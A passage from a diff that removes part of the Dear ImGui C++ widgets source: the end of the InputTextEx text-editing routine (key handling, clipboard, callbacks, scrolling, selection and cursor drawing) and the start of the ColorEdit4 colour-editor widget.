state->OnKeyPressed(STB_TEXTEDIT_K_DELETE | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_Backspace) && !is_readonly) - { - if (!state->HasSelection()) - { - if (is_wordmove_key_down) - state->OnKeyPressed(STB_TEXTEDIT_K_WORDLEFT | STB_TEXTEDIT_K_SHIFT); - else if (is_osx && io.KeySuper && !io.KeyAlt && !io.KeyCtrl) - state->OnKeyPressed(STB_TEXTEDIT_K_LINESTART | STB_TEXTEDIT_K_SHIFT); - } - state->OnKeyPressed(STB_TEXTEDIT_K_BACKSPACE | k_mask); - } - else if (IsKeyPressedMap(ImGuiKey_Enter) || IsKeyPressedMap(ImGuiKey_KeyPadEnter)) - { - bool ctrl_enter_for_new_line = (flags & ImGuiInputTextFlags_CtrlEnterForNewLine) != 0; - if (!is_multiline || (ctrl_enter_for_new_line && !io.KeyCtrl) || (!ctrl_enter_for_new_line && io.KeyCtrl)) - { - enter_pressed = clear_active_id = true; - } - else if (!is_readonly) - { - unsigned int c = '\n'; // Insert new line - if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) - state->OnKeyPressed((int)c); - } - } - else if (IsKeyPressedMap(ImGuiKey_Escape)) - { - clear_active_id = cancel_edit = true; - } - else if (is_undo || is_redo) - { - state->OnKeyPressed(is_undo ? STB_TEXTEDIT_K_UNDO : STB_TEXTEDIT_K_REDO); - state->ClearSelection(); - } - else if (is_shortcut_key && IsKeyPressedMap(ImGuiKey_A)) - { - state->SelectAll(); - state->CursorFollow = true; - } - else if (is_cut || is_copy) - { - // Cut, Copy - if (io.SetClipboardTextFn) - { - const int ib = state->HasSelection() ? ImMin(state->Stb.select_start, state->Stb.select_end) : 0; - const int ie = state->HasSelection() ? ImMax(state->Stb.select_start, state->Stb.select_end) : state->CurLenW; - const int clipboard_data_len = ImTextCountUtf8BytesFromStr(state->TextW.Data + ib, state->TextW.Data + ie) + 1; - char* clipboard_data = (char*)IM_ALLOC(clipboard_data_len * sizeof(char)); - ImTextStrToUtf8(clipboard_data, clipboard_data_len, state->TextW.Data + ib, state->TextW.Data + ie); - SetClipboardText(clipboard_data); - MemFree(clipboard_data); - } - if (is_cut) - { - if (!state->HasSelection()) - state->SelectAll(); - state->CursorFollow = true; - stb_textedit_cut(state, &state->Stb); - } - } - else if (is_paste) - { - if (const char* clipboard = GetClipboardText()) - { - // Filter pasted buffer - const int clipboard_len = (int)strlen(clipboard); - ImWchar* clipboard_filtered = (ImWchar*)IM_ALLOC((clipboard_len + 1) * sizeof(ImWchar)); - int clipboard_filtered_len = 0; - for (const char* s = clipboard; *s; ) - { - unsigned int c; - s += ImTextCharFromUtf8(&c, s, NULL); - if (c == 0) - break; - if (!InputTextFilterCharacter(&c, flags, callback, callback_user_data)) - continue; - clipboard_filtered[clipboard_filtered_len++] = (ImWchar)c; - } - clipboard_filtered[clipboard_filtered_len] = 0; - if (clipboard_filtered_len > 0) // If everything was filtered, ignore the pasting operation - { - stb_textedit_paste(state, &state->Stb, clipboard_filtered, clipboard_filtered_len); - state->CursorFollow = true; - } - MemFree(clipboard_filtered); - } - } - - // Update render selection flag after events have been handled, so selection highlight can be displayed during the same frame. - render_selection |= state->HasSelection() && (RENDER_SELECTION_WHEN_INACTIVE || render_cursor); - } - - // Process callbacks and apply result back to user's buffer. - if (g.ActiveId == id) - { - IM_ASSERT(state != NULL); - const char* apply_new_text = NULL; - int apply_new_text_length = 0; - if (cancel_edit) - { - // Restore initial value. Only return true if restoring to the initial value changes the current buffer contents. - if (!is_readonly && strcmp(buf, state->InitialTextA.Data) != 0) - { - // Push records into the undo stack so we can CTRL+Z the revert operation itself - apply_new_text = state->InitialTextA.Data; - apply_new_text_length = state->InitialTextA.Size - 1; - ImVector w_text; - if (apply_new_text_length > 0) - { - w_text.resize(ImTextCountCharsFromUtf8(apply_new_text, apply_new_text + apply_new_text_length) + 1); - ImTextStrFromUtf8(w_text.Data, w_text.Size, apply_new_text, apply_new_text + apply_new_text_length); - } - stb_textedit_replace(state, &state->Stb, w_text.Data, (apply_new_text_length > 0) ? (w_text.Size - 1) : 0); - } - } - - // When using 'ImGuiInputTextFlags_EnterReturnsTrue' as a special case we reapply the live buffer back to the input buffer before clearing ActiveId, even though strictly speaking it wasn't modified on this frame. - // If we didn't do that, code like InputInt() with ImGuiInputTextFlags_EnterReturnsTrue would fail. - // This also allows the user to use InputText() with ImGuiInputTextFlags_EnterReturnsTrue without maintaining any user-side storage (please note that if you use this property along ImGuiInputTextFlags_CallbackResize you can end up with your temporary string object unnecessarily allocating once a frame, either store your string data, either if you don't then don't use ImGuiInputTextFlags_CallbackResize). - bool apply_edit_back_to_user_buffer = !cancel_edit || (enter_pressed && (flags & ImGuiInputTextFlags_EnterReturnsTrue) != 0); - if (apply_edit_back_to_user_buffer) - { - // Apply new value immediately - copy modified buffer back - // Note that as soon as the input box is active, the in-widget value gets priority over any underlying modification of the input buffer - // FIXME: We actually always render 'buf' when calling DrawList->AddText, making the comment above incorrect. - // FIXME-OPT: CPU waste to do this every time the widget is active, should mark dirty state from the stb_textedit callbacks. - if (!is_readonly) - { - state->TextAIsValid = true; - state->TextA.resize(state->TextW.Size * 4 + 1); - ImTextStrToUtf8(state->TextA.Data, state->TextA.Size, state->TextW.Data, NULL); - } - - // User callback - if ((flags & (ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_CallbackHistory | ImGuiInputTextFlags_CallbackEdit | ImGuiInputTextFlags_CallbackAlways)) != 0) - { - IM_ASSERT(callback != NULL); - - // The reason we specify the usage semantic (Completion/History) is that Completion needs to disable keyboard TABBING at the moment. - ImGuiInputTextFlags event_flag = 0; - ImGuiKey event_key = ImGuiKey_COUNT; - if ((flags & ImGuiInputTextFlags_CallbackCompletion) != 0 && IsKeyPressedMap(ImGuiKey_Tab)) - { - event_flag = ImGuiInputTextFlags_CallbackCompletion; - event_key = ImGuiKey_Tab; - } - else if ((flags & ImGuiInputTextFlags_CallbackHistory) != 0 && IsKeyPressedMap(ImGuiKey_UpArrow)) - { - event_flag = ImGuiInputTextFlags_CallbackHistory; - event_key = ImGuiKey_UpArrow; - } - else if ((flags & ImGuiInputTextFlags_CallbackHistory) != 0 && IsKeyPressedMap(ImGuiKey_DownArrow)) - { - event_flag = ImGuiInputTextFlags_CallbackHistory; - event_key = ImGuiKey_DownArrow; - } - else if ((flags & ImGuiInputTextFlags_CallbackEdit) && state->Edited) - { - event_flag = ImGuiInputTextFlags_CallbackEdit; - } - else if (flags & ImGuiInputTextFlags_CallbackAlways) - { - event_flag = ImGuiInputTextFlags_CallbackAlways; - } - - if (event_flag) - { - ImGuiInputTextCallbackData callback_data; - memset(&callback_data, 0, sizeof(ImGuiInputTextCallbackData)); - callback_data.EventFlag = event_flag; - callback_data.Flags = flags; - callback_data.UserData = callback_user_data; - - callback_data.EventKey = event_key; - callback_data.Buf = state->TextA.Data; - callback_data.BufTextLen = state->CurLenA; - callback_data.BufSize = state->BufCapacityA; - callback_data.BufDirty = false; - - // We have to convert from wchar-positions to UTF-8-positions, which can be pretty slow (an incentive to ditch the ImWchar buffer, see https://github.com/nothings/stb/issues/188) - ImWchar* text = state->TextW.Data; - const int utf8_cursor_pos = callback_data.CursorPos = ImTextCountUtf8BytesFromStr(text, text + state->Stb.cursor); - const int utf8_selection_start = callback_data.SelectionStart = ImTextCountUtf8BytesFromStr(text, text + state->Stb.select_start); - const int utf8_selection_end = callback_data.SelectionEnd = ImTextCountUtf8BytesFromStr(text, text + state->Stb.select_end); - - // Call user code - callback(&callback_data); - - // Read back what user may have modified - IM_ASSERT(callback_data.Buf == state->TextA.Data); // Invalid to modify those fields - IM_ASSERT(callback_data.BufSize == state->BufCapacityA); - IM_ASSERT(callback_data.Flags == flags); - const bool buf_dirty = callback_data.BufDirty; - if (callback_data.CursorPos != utf8_cursor_pos || buf_dirty) { state->Stb.cursor = ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.CursorPos); state->CursorFollow = true; } - if (callback_data.SelectionStart != utf8_selection_start || buf_dirty) { state->Stb.select_start = (callback_data.SelectionStart == callback_data.CursorPos) ? state->Stb.cursor : ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.SelectionStart); } - if (callback_data.SelectionEnd != utf8_selection_end || buf_dirty) { state->Stb.select_end = (callback_data.SelectionEnd == callback_data.SelectionStart) ? state->Stb.select_start : ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.SelectionEnd); } - if (buf_dirty) - { - IM_ASSERT(callback_data.BufTextLen == (int)strlen(callback_data.Buf)); // You need to maintain BufTextLen if you change the text! - if (callback_data.BufTextLen > backup_current_text_length && is_resizable) - state->TextW.resize(state->TextW.Size + (callback_data.BufTextLen - backup_current_text_length)); - state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, state->TextW.Size, callback_data.Buf, NULL); - state->CurLenA = callback_data.BufTextLen; // Assume correct length and valid UTF-8 from user, saves us an extra strlen() - state->CursorAnimReset(); - } - } - } - - // Will copy result string if modified - if (!is_readonly && strcmp(state->TextA.Data, buf) != 0) - { - apply_new_text = state->TextA.Data; - apply_new_text_length = state->CurLenA; - } - } - - // Copy result to user buffer - if (apply_new_text) - { - // We cannot test for 'backup_current_text_length != apply_new_text_length' here because we have no guarantee that the size - // of our owned buffer matches the size of the string object held by the user, and by design we allow InputText() to be used - // without any storage on user's side. - IM_ASSERT(apply_new_text_length >= 0); - if (is_resizable) - { - ImGuiInputTextCallbackData callback_data; - callback_data.EventFlag = ImGuiInputTextFlags_CallbackResize; - callback_data.Flags = flags; - callback_data.Buf = buf; - callback_data.BufTextLen = apply_new_text_length; - callback_data.BufSize = ImMax(buf_size, apply_new_text_length + 1); - callback_data.UserData = callback_user_data; - callback(&callback_data); - buf = callback_data.Buf; - buf_size = callback_data.BufSize; - apply_new_text_length = ImMin(callback_data.BufTextLen, buf_size - 1); - IM_ASSERT(apply_new_text_length <= buf_size); - } - //IMGUI_DEBUG_LOG("InputText(\"%s\"): apply_new_text length %d\n", label, apply_new_text_length); - - // If the underlying buffer resize was denied or not carried to the next frame, apply_new_text_length+1 may be >= buf_size. - ImStrncpy(buf, apply_new_text, ImMin(apply_new_text_length + 1, buf_size)); - value_changed = true; - } - - // Clear temporary user storage - state->UserFlags = 0; - state->UserCallback = NULL; - state->UserCallbackData = NULL; - } - - // Release active ID at the end of the function (so e.g. pressing Return still does a final application of the value) - if (clear_active_id && g.ActiveId == id) - ClearActiveID(); - - // Render frame - if (!is_multiline) - { - RenderNavHighlight(frame_bb, id); - RenderFrame(frame_bb.Min, frame_bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); - } - - const ImVec4 clip_rect(frame_bb.Min.x, frame_bb.Min.y, frame_bb.Min.x + inner_size.x, frame_bb.Min.y + inner_size.y); // Not using frame_bb.Max because we have adjusted size - ImVec2 draw_pos = is_multiline ? draw_window->DC.CursorPos : frame_bb.Min + style.FramePadding; - ImVec2 text_size(0.0f, 0.0f); - - // Set upper limit of single-line InputTextEx() at 2 million characters strings. The current pathological worst case is a long line - // without any carriage return, which would makes ImFont::RenderText() reserve too many vertices and probably crash. Avoid it altogether. - // Note that we only use this limit on single-line InputText(), so a pathologically large line on a InputTextMultiline() would still crash. - const int buf_display_max_length = 2 * 1024 * 1024; - const char* buf_display = buf_display_from_state ? state->TextA.Data : buf; //-V595 - const char* buf_display_end = NULL; // We have specialized paths below for setting the length - if (is_displaying_hint) - { - buf_display = hint; - buf_display_end = hint + strlen(hint); - } - - // Render text. We currently only render selection when the widget is active or while scrolling. - // FIXME: We could remove the '&& render_cursor' to keep rendering selection when inactive. - if (render_cursor || render_selection) - { - IM_ASSERT(state != NULL); - if (!is_displaying_hint) - buf_display_end = buf_display + state->CurLenA; - - // Render text (with cursor and selection) - // This is going to be messy. We need to: - // - Display the text (this alone can be more easily clipped) - // - Handle scrolling, highlight selection, display cursor (those all requires some form of 1d->2d cursor position calculation) - // - Measure text height (for scrollbar) - // We are attempting to do most of that in **one main pass** to minimize the computation cost (non-negligible for large amount of text) + 2nd pass for selection rendering (we could merge them by an extra refactoring effort) - // FIXME: This should occur on buf_display but we'd need to maintain cursor/select_start/select_end for UTF-8. - const ImWchar* text_begin = state->TextW.Data; - ImVec2 cursor_offset, select_start_offset; - - { - // Find lines numbers straddling 'cursor' (slot 0) and 'select_start' (slot 1) positions. - const ImWchar* searches_input_ptr[2] = { NULL, NULL }; - int searches_result_line_no[2] = { -1000, -1000 }; - int searches_remaining = 0; - if (render_cursor) - { - searches_input_ptr[0] = text_begin + state->Stb.cursor; - searches_result_line_no[0] = -1; - searches_remaining++; - } - if (render_selection) - { - searches_input_ptr[1] = text_begin + ImMin(state->Stb.select_start, state->Stb.select_end); - searches_result_line_no[1] = -1; - searches_remaining++; - } - - // Iterate all lines to find our line numbers - // In multi-line mode, we never exit the loop until all lines are counted, so add one extra to the searches_remaining counter. - searches_remaining += is_multiline ? 1 : 0; - int line_count = 0; - //for (const ImWchar* s = text_begin; (s = (const ImWchar*)wcschr((const wchar_t*)s, (wchar_t)'\n')) != NULL; s++) // FIXME-OPT: Could use this when wchar_t are 16-bit - for (const ImWchar* s = text_begin; *s != 0; s++) - if (*s == '\n') - { - line_count++; - if (searches_result_line_no[0] == -1 && s >= searches_input_ptr[0]) { searches_result_line_no[0] = line_count; if (--searches_remaining <= 0) break; } - if (searches_result_line_no[1] == -1 && s >= searches_input_ptr[1]) { searches_result_line_no[1] = line_count; if (--searches_remaining <= 0) break; } - } - line_count++; - if (searches_result_line_no[0] == -1) - searches_result_line_no[0] = line_count; - if (searches_result_line_no[1] == -1) - searches_result_line_no[1] = line_count; - - // Calculate 2d position by finding the beginning of the line and measuring distance - cursor_offset.x = InputTextCalcTextSizeW(ImStrbolW(searches_input_ptr[0], text_begin), searches_input_ptr[0]).x; - cursor_offset.y = searches_result_line_no[0] * g.FontSize; - if (searches_result_line_no[1] >= 0) - { - select_start_offset.x = InputTextCalcTextSizeW(ImStrbolW(searches_input_ptr[1], text_begin), searches_input_ptr[1]).x; - select_start_offset.y = searches_result_line_no[1] * g.FontSize; - } - - // Store text height (note that we haven't calculated text width at all, see GitHub issues #383, #1224) - if (is_multiline) - text_size = ImVec2(inner_size.x, line_count * g.FontSize); - } - - // Scroll - if (render_cursor && state->CursorFollow) - { - // Horizontal scroll in chunks of quarter width - if (!(flags & ImGuiInputTextFlags_NoHorizontalScroll)) - { - const float scroll_increment_x = inner_size.x * 0.25f; - const float visible_width = inner_size.x - style.FramePadding.x; - if (cursor_offset.x < state->ScrollX) - state->ScrollX = IM_FLOOR(ImMax(0.0f, cursor_offset.x - scroll_increment_x)); - else if (cursor_offset.x - visible_width >= state->ScrollX) - state->ScrollX = IM_FLOOR(cursor_offset.x - visible_width + scroll_increment_x); - } - else - { - state->ScrollX = 0.0f; - } - - // Vertical scroll - if (is_multiline) - { - // Test if cursor is vertically visible - if (cursor_offset.y - g.FontSize < scroll_y) - scroll_y = ImMax(0.0f, cursor_offset.y - g.FontSize); - else if (cursor_offset.y - inner_size.y >= scroll_y) - scroll_y = cursor_offset.y - inner_size.y + style.FramePadding.y * 2.0f; - const float scroll_max_y = ImMax((text_size.y + style.FramePadding.y * 2.0f) - inner_size.y, 0.0f); - scroll_y = ImClamp(scroll_y, 0.0f, scroll_max_y); - draw_pos.y += (draw_window->Scroll.y - scroll_y); // Manipulate cursor pos immediately avoid a frame of lag - draw_window->Scroll.y = scroll_y; - } - - state->CursorFollow = false; - } - - // Draw selection - const ImVec2 draw_scroll = ImVec2(state->ScrollX, 0.0f); - if (render_selection) - { - const ImWchar* text_selected_begin = text_begin + ImMin(state->Stb.select_start, state->Stb.select_end); - const ImWchar* text_selected_end = text_begin + ImMax(state->Stb.select_start, state->Stb.select_end); - - ImU32 bg_color = GetColorU32(ImGuiCol_TextSelectedBg, render_cursor ? 1.0f : 0.6f); // FIXME: current code flow mandate that render_cursor is always true here, we are leaving the transparent one for tests. - float bg_offy_up = is_multiline ? 0.0f : -1.0f; // FIXME: those offsets should be part of the style? they don't play so well with multi-line selection. - float bg_offy_dn = is_multiline ? 0.0f : 2.0f; - ImVec2 rect_pos = draw_pos + select_start_offset - draw_scroll; - for (const ImWchar* p = text_selected_begin; p < text_selected_end; ) - { - if (rect_pos.y > clip_rect.w + g.FontSize) - break; - if (rect_pos.y < clip_rect.y) - { - //p = (const ImWchar*)wmemchr((const wchar_t*)p, '\n', text_selected_end - p); // FIXME-OPT: Could use this when wchar_t are 16-bit - //p = p ? p + 1 : text_selected_end; - while (p < text_selected_end) - if (*p++ == '\n') - break; - } - else - { - ImVec2 rect_size = InputTextCalcTextSizeW(p, text_selected_end, &p, NULL, true); - if (rect_size.x <= 0.0f) rect_size.x = IM_FLOOR(g.Font->GetCharAdvance((ImWchar)' ') * 0.50f); // So we can see selected empty lines - ImRect rect(rect_pos + ImVec2(0.0f, bg_offy_up - g.FontSize), rect_pos + ImVec2(rect_size.x, bg_offy_dn)); - rect.ClipWith(clip_rect); - if (rect.Overlaps(clip_rect)) - draw_window->DrawList->AddRectFilled(rect.Min, rect.Max, bg_color); - } - rect_pos.x = draw_pos.x - draw_scroll.x; - rect_pos.y += g.FontSize; - } - } - - // We test for 'buf_display_max_length' as a way to avoid some pathological cases (e.g. single-line 1 MB string) which would make ImDrawList crash. - if (is_multiline || (buf_display_end - buf_display) < buf_display_max_length) - { - ImU32 col = GetColorU32(is_displaying_hint ? ImGuiCol_TextDisabled : ImGuiCol_Text); - draw_window->DrawList->AddText(g.Font, g.FontSize, draw_pos - draw_scroll, col, buf_display, buf_display_end, 0.0f, is_multiline ? NULL : &clip_rect); - } - - // Draw blinking cursor - if (render_cursor) - { - state->CursorAnim += io.DeltaTime; - bool cursor_is_visible = (!g.IO.ConfigInputTextCursorBlink) || (state->CursorAnim <= 0.0f) || ImFmod(state->CursorAnim, 1.20f) <= 0.80f; - ImVec2 cursor_screen_pos = draw_pos + cursor_offset - draw_scroll; - ImRect cursor_screen_rect(cursor_screen_pos.x, cursor_screen_pos.y - g.FontSize + 0.5f, cursor_screen_pos.x + 1.0f, cursor_screen_pos.y - 1.5f); - if (cursor_is_visible && cursor_screen_rect.Overlaps(clip_rect)) - draw_window->DrawList->AddLine(cursor_screen_rect.Min, cursor_screen_rect.GetBL(), GetColorU32(ImGuiCol_Text)); - - // Notify OS of text input position for advanced IME (-1 x offset so that Windows IME can cover our cursor. Bit of an extra nicety.) - if (!is_readonly) - g.PlatformImePos = ImVec2(cursor_screen_pos.x - 1.0f, cursor_screen_pos.y - g.FontSize); - } - } - else - { - // Render text only (no selection, no cursor) - if (is_multiline) - text_size = ImVec2(inner_size.x, InputTextCalcTextLenAndLineCount(buf_display, &buf_display_end) * g.FontSize); // We don't need width - else if (!is_displaying_hint && g.ActiveId == id) - buf_display_end = buf_display + state->CurLenA; - else if (!is_displaying_hint) - buf_display_end = buf_display + strlen(buf_display); - - if (is_multiline || (buf_display_end - buf_display) < buf_display_max_length) - { - ImU32 col = GetColorU32(is_displaying_hint ? ImGuiCol_TextDisabled : ImGuiCol_Text); - draw_window->DrawList->AddText(g.Font, g.FontSize, draw_pos, col, buf_display, buf_display_end, 0.0f, is_multiline ? NULL : &clip_rect); - } - } - - if (is_password && !is_displaying_hint) - PopFont(); - - if (is_multiline) - { - Dummy(ImVec2(text_size.x, text_size.y + style.FramePadding.y)); - EndChild(); - EndGroup(); - } - - // Log as text - if (g.LogEnabled && (!is_password || is_displaying_hint)) - { - LogSetNextTextDecoration("{", "}"); - LogRenderedText(&draw_pos, buf_display, buf_display_end); - } - - if (label_size.x > 0) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); - - if (value_changed && !(flags & ImGuiInputTextFlags_NoMarkEdited)) - MarkItemEdited(id); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); - if ((flags & ImGuiInputTextFlags_EnterReturnsTrue) != 0) - return enter_pressed; - else - return value_changed; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: ColorEdit, ColorPicker, ColorButton, etc. -//------------------------------------------------------------------------- -// - ColorEdit3() -// - ColorEdit4() -// - ColorPicker3() -// - RenderColorRectWithAlphaCheckerboard() [Internal] -// - ColorPicker4() -// - ColorButton() -// - SetColorEditOptions() -// - ColorTooltip() [Internal] -// - ColorEditOptionsPopup() [Internal] -// - ColorPickerOptionsPopup() [Internal] -//------------------------------------------------------------------------- - -bool ImGui::ColorEdit3(const char* label, float col[3], ImGuiColorEditFlags flags) -{ - return ColorEdit4(label, col, flags | ImGuiColorEditFlags_NoAlpha); -} - -// Edit colors components (each component in 0.0f..1.0f range). -// See enum ImGuiColorEditFlags_ for available options. e.g. Only access 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. -// With typical options: Left-click on color square to open color picker. Right-click to open option menu. CTRL-Click over input fields to edit them and TAB to go to next item. -bool ImGui::ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const float square_sz = GetFrameHeight(); - const float w_full = CalcItemWidth(); - const float w_button = (flags & ImGuiColorEditFlags_NoSmallPreview) ? 0.0f : (square_sz + style.ItemInnerSpacing.x); - const float w_inputs = w_full - w_button; - const char* label_display_end = FindRenderedTextEnd(label); - g.NextItemData.ClearFlags(); - - BeginGroup(); - PushID(label); - - // If we're not showing any slider there's no point in doing any HSV conversions - const ImGuiColorEditFlags flags_untouched = flags; - if (flags & ImGuiColorEditFlags_NoInputs) - flags = (flags & (~ImGuiColorEditFlags__DisplayMask)) | ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_NoOptions; - - // Context menu: display and modify options (before defaults are applied) - if (!(flags & ImGuiColorEditFlags_NoOptions)) - ColorEditOptionsPopup(col, flags); - - // Read stored options - if (!(flags & ImGuiColorEditFlags__DisplayMask)) - flags |= (g.ColorEditOptions & ImGuiColorEditFlags__DisplayMask); - if (!(flags & ImGuiColorEditFlags__DataTypeMask)) - flags |= (g.ColorEditOptions & ImGuiColorEditFlags__DataTypeMask); - if (!(flags & ImGuiColorEditFlags__PickerMask)) - flags |= (g.ColorEditOptions & ImGuiColorEditFlags__PickerMask); - if (!(flags & ImGuiColorEditFlags__InputMask)) - flags |= (g.ColorEditOptions & ImGuiColorEditFlags__InputMask); - flags |= (g.ColorEditOptions & ~(ImGuiColorEditFlags__DisplayMask | ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__PickerMask | ImGuiColorEditFlags__InputMask)); - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DisplayMask)); // Check that only 1 is selected - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check that only 1 is selected - - const bool alpha = (flags & ImGuiColorEditFlags_NoAlpha) == 0; - const bool hdr = (flags & ImGuiColorEditFlags_HDR) != 0; - const int components = alpha ? 4 : 3; - - // Convert to the formats we need - float f[4] = { col[0], col[1], col[2], alpha ? col[3] : 1.0f }; - if ((flags & ImGuiColorEditFlags_InputHSV) && (flags & ImGuiColorEditFlags_DisplayRGB)) - ColorConvertHSVtoRGB(f[0], f[1], f[2], f[0], f[1], f[2]); - else if ((flags & ImGuiColorEditFlags_InputRGB) && (flags & ImGuiColorEditFlags_DisplayHSV)) - { - // Hue is lost when converting from greyscale rgb (saturation=0). Restore it. - ColorConvertRGBtoHSV(f[0], f[1], f[2], f[0], f[1], f[2]); - if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) - { - if (f[1] == 0) - f[0] = g.ColorEditLastHue; - if (f[2] == 0) - f[1] = g.ColorEditLastSat; - } - } - int i[4] = { IM_F32_TO_INT8_UNBOUND(f[0]), IM_F32_TO_INT8_UNBOUND(f[1]), IM_F32_TO_INT8_UNBOUND(f[2]), IM_F32_TO_INT8_UNBOUND(f[3]) }; - - bool value_changed = false; - bool value_changed_as_float = false; - - const ImVec2 pos = window->DC.CursorPos; - const float inputs_offset_x = (style.ColorButtonPosition == ImGuiDir_Left) ? w_button : 0.0f; - window->DC.CursorPos.x = pos.x + inputs_offset_x; - - if ((flags & (ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_DisplayHSV)) != 0 && (flags & ImGuiColorEditFlags_NoInputs) == 0) - { - // RGB/HSV 0..255 Sliders - const float w_item_one = ImMax(1.0f, IM_FLOOR((w_inputs - (style.ItemInnerSpacing.x) * (components - 1)) / (float)components)); - const float w_item_last = ImMax(1.0f, IM_FLOOR(w_inputs - (w_item_one + style.ItemInnerSpacing.x) * (components - 1))); - - const bool hide_prefix = (w_item_one <= CalcTextSize((flags & ImGuiColorEditFlags_Float) ? "M:0.000" : "M:000").x); - static const char* ids[4] = { "##X", "##Y", "##Z", "##W" }; - static const char* fmt_table_int[3][4] = - { - { "%3d", "%3d", "%3d", "%3d" }, // Short display - { "R:%3d", "G:%3d", "B:%3d", "A:%3d" }, // Long display for RGBA - { "H:%3d", "S:%3d", "V:%3d", "A:%3d" } // Long display for HSVA - }; - static const char* fmt_table_float[3][4] = - { - { "%0.3f", "%0.3f", "%0.3f", "%0.3f" }, // Short display - { "R:%0.3f", "G:%0.3f", "B:%0.3f", "A:%0.3f" }, // Long display for RGBA - { "H:%0.3f", "S:%0.3f", "V:%0.3f", "A:%0.3f" } // Long display for HSVA - }; - const int fmt_idx = hide_prefix ? 0 : (flags & ImGuiColorEditFlags_DisplayHSV) ? 2 : 1; - - for (int n = 0; n < components; n++) - { - if (n > 0) - SameLine(0, style.ItemInnerSpacing.x); - SetNextItemWidth((n + 1 < components) ? w_item_one : w_item_last); - - // FIXME: When ImGuiColorEditFlags_HDR flag is passed HS values snap in weird ways when SV values go below 0. - if (flags & ImGuiColorEditFlags_Float) - { - value_changed |= DragFloat(ids[n], &f[n], 1.0f / 255.0f, 0.0f, hdr ? 0.0f : 1.0f, fmt_table_float[fmt_idx][n]); - value_changed_as_float |= value_changed; - } - else - { - value_changed |= DragInt(ids[n], &i[n], 1.0f, 0, hdr ? 0 : 255, fmt_table_int[fmt_idx][n]); - } - if (!(flags & ImGuiColorEditFlags_NoOptions)) - OpenPopupOnItemClick("context"); - } - } - else if ((flags & ImGuiColorEditFlags_DisplayHex) != 0 && (flags & ImGuiColorEditFlags_NoInputs) == 0) - { - // RGB Hexadecimal Input - char buf[64]; - if (alpha) - ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X%02X", ImClamp(i[0], 0, 255), ImClamp(i[1], 0, 255), ImClamp(i[2], 0, 255), ImClamp(i[3], 0, 255)); - else - ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X", ImClamp(i[0], 0, 255), ImClamp(i[1], 0, 255), ImClamp(i[2], 0, 255)); - SetNextItemWidth(w_inputs); - if (InputText("##Text", buf, IM_ARRAYSIZE(buf), ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase)) - { - value_changed = true; - char* p = buf; - while (*p == '#' || ImCharIsBlankA(*p)) - p++; - i[0] = i[1] = i[2] = i[3] = 0; - if (alpha) - sscanf(p, "%02X%02X%02X%02X", (unsigned int*)&i[0], (unsigned int*)&i[1], (unsigned int*)&i[2], (unsigned int*)&i[3]); // Treat at unsigned (%X is unsigned) - else - sscanf(p, "%02X%02X%02X", (unsigned int*)&i[0], (unsigned int*)&i[1], (unsigned int*)&i[2]); - } - if (!(flags & ImGuiColorEditFlags_NoOptions)) - OpenPopupOnItemClick("context"); - } - - ImGuiWindow* picker_active_window = NULL; - if (!(flags & ImGuiColorEditFlags_NoSmallPreview)) - { - const float button_offset_x = ((flags & ImGuiColorEditFlags_NoInputs) || (style.ColorButtonPosition == ImGuiDir_Left)) ? 0.0f : w_inputs + style.ItemInnerSpacing.x; - window->DC.CursorPos = ImVec2(pos.x + button_offset_x, pos.y); - - const ImVec4 col_v4(col[0], col[1], col[2], alpha ? col[3] : 1.0f); - if (ColorButton("##ColorButton", col_v4, flags)) - { - if (!(flags & ImGuiColorEditFlags_NoPicker)) - { - // Store current color and open a picker - g.ColorPickerRef = col_v4; - OpenPopup("picker"); - SetNextWindowPos(window->DC.LastItemRect.GetBL() + ImVec2(-1, style.ItemSpacing.y)); - } - } - if (!(flags & ImGuiColorEditFlags_NoOptions)) - OpenPopupOnItemClick("context"); - - if (BeginPopup("picker")) - { - picker_active_window = g.CurrentWindow; - if (label != label_display_end) - { - TextEx(label, label_display_end); - Spacing(); - } - ImGuiColorEditFlags picker_flags_to_forward = ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__PickerMask | ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaBar; - ImGuiColorEditFlags picker_flags = (flags_untouched & picker_flags_to_forward) | ImGuiColorEditFlags__DisplayMask | ImGuiColorEditFlags_NoLabel | ImGuiColorEditFlags_AlphaPreviewHalf; - SetNextItemWidth(square_sz * 12.0f); // Use 256 + bar sizes? - value_changed |= ColorPicker4("##picker", col, picker_flags, &g.ColorPickerRef.x); - EndPopup(); - } - } - - if (label != label_display_end && !(flags & ImGuiColorEditFlags_NoLabel)) - { - const float text_offset_x = (flags & ImGuiColorEditFlags_NoInputs) ? w_button : w_full + style.ItemInnerSpacing.x; - window->DC.CursorPos = ImVec2(pos.x + text_offset_x, pos.y + style.FramePadding.y); - TextEx(label, label_display_end); - } - - // Convert back - if (value_changed && picker_active_window == NULL) - { - if (!value_changed_as_float) - for (int n = 0; n < 